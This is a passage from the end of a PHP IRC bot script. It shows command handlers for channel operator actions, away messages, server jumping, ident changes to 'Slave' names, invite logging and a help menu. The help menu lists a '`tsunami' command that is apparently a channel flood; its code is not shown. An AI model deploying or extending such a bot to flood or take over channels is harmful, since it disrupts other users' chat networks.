CRL); } elseif ($com[3]==':`deop' && $chan) { if ($com[4]) { $opnick = $com[4]; } else { $opnick = $dNick; } fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`v' && $chan) { if ($com[4]) { $vonick = $com[4]; } else { $vonick = $dNick; } fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`dv' && $chan) { if ($com[4]) { $vonick = $com[4]; } else { $vonick = $dNick; } fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`detik' && $com[4] && $auth["$dNick"]["status"]=="Admin") { if ($com[4]=="on") { $dnews = "on"; } elseif ($com[4]=="off") { $dnews = "off"; } fputs($fp, 'PRIVMSG '.$dNick.' :Detik News is now '.$dnews . CRL); } elseif ($com[3]==':`log' && $com[4] && $auth["$dNick"]["status"]=="Admin") { if ($com[4]=="on") { $log = "on"; } elseif ($com[4]=="off") { $log = "off"; } fputs($fp, 'PRIVMSG '.$dNick.' :Query/Inviter LoG to Admin is now '.$log . CRL); } elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`awaymsg"); $msg = str_replace(":`awaymsg","",$msg); if (strlen($msg)<3) { $raway="on"; $awaymsg = $awaym[rand(0,count($awaym) - 1)]; } else { $raway="off"; $awaymsg=trim($msg); } fputs($fp,'AWAY : ' . CRL); } elseif ($com[3]==':`mode' && $com[4] && $chan) { fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL); } elseif ($com[3]==':`nickmode' && $com[4]) { $nickmode = $com[4]; fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); } elseif ($com[3]==':`chanlist') { fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL); } elseif ($com[3]==':`userlist') { $userlist=""; foreach ($auth as $user) { if ($user["pass"]) { $pass="-pass ok"; } else { $pass="-no pass"; } $userlist .= $user["name"].'('.$user["status"].$pass.') '; } fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL); } elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`quit"); $msg = str_replace(":`quit","",$msg); if (strlen($msg)>3) { $msg = str_replace(" ","_",$msg); } fputs($fp, 'QUIT 4,99quit_ok_'.$dNick.'('.$msg.')' . CRL); $keluar = 1; exit; } elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") { if ($com[4]) { $localhost = $com[4]; } else { $localhost = 'localhost'; } $keluar = 0; fputs($fp, 'QUIT 4,99vhost_'.$dNick.'('.$localhost.')' . CRL); } elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") { if (!eregi(".dal.net",$com[4])) { $remotehost = "irc.dal.net"; } else { $remotehost = $com[4]; } $keluar = 0; fputs($fp, 'QUIT 4,99Server_'.$dNick.'('.$remotehost.')' . CRL); } elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") { if (!$com[4]) { $username = "Slave".randchar(3); } else { $username = $com[4]; } $keluar = 0; fputs($fp, 'QUIT 4,99ident_'.$dNick.'('.$username.')' . CRL); } elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") { if (!$com[4]) { $realname = "--"; } else { $realname = $com[4]; } $keluar = 0; fputs($fp, 'QUIT 4,99Fullname_'.$dNick.'('.$realname.')' . CRL); } elseif ($com[3]==':`topic' && $com[4] && $chan) { $msg = strstr($data,":`topic"); $msg = str_replace(":`topic ","",$msg); fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL); } elseif ($com[3]==':!help' && !$chan) { fputs($fp,'PRIVMSG '.$dNick.' :4,99Help' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ auth | !auth `auth | deauth | adduser | deluser | pass | chgpass ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `say | `act|slap | `msg|notice|ctcp | `ping/pong | `up | `down ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `cycle <#channel> | `join | `part <#channel> | `nickmode <+/-nickmode> ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `tsunami | `botnick | `k/kb | `op | `deop | `v | `dv ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `detik|whois|astrologi|dns | `awaymsg | `mode <+/-chanmode> | `chanlist | `userlist | `quit | `vhost ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :[ `jump | `ident | `fullname | `topic | `log ]' . CRL); fputs($fp,'PRIVMSG '.$dNick.' :4 - End Of Help - ' . CRL); } //else { fputs($fp, 'NOTICE '.$dNick.' :Bad Command! Type: !help To Get My Help :P ' . CRL); //} } else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth To Authorized '. CRL); } } } elseif (!$auth["$dNick"] && !eregi("auth",$iText)) { if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) { if (!ereg("#",$dCommand)) { if ($log=="on") { fputs($fp,'PRIVMSG '. $Admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL); } $inv = strstr($dFrom,'@'); foreach ($auth as $user) { if ($user["status"]=="user") { fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL); } } } } elseif (!ereg("#",$dCommand)) { if ($qnick["$dNick"]!=2) { $qnick["$dNick"]++; $querymsg = $querym[rand(0,count($querym) - 1)]; $querymsg = str_replace("nick",$dNick,$querymsg); fputs($fp,'PRIVMSG '.$dNick.' :'.$querymsg . CRL); } if ($log=="on") { fputs($fp,'PRIVMSG '.$Admin.' :6' . $dFrom . '12:' .$iText. CRL); } } } } } elseif (substr($data,0,4) == 'PING') { fputs($fp,'PONG ' . substr($data,5) . CRL); } } } fclose ($fp); } while ($keluar==0); } ?>